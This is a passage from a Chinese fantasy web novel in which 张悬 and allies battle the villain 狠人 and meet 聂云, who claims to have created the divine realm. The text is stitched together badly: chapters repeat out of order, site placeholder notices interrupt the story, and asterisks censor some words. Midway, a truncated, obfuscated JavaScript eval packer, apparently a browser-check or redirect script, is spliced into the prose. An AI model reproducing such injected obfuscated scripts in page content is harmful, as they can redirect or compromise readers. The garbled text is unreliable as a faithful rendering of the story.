神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第119章悦来茶楼 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第120章好戏还在后头 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 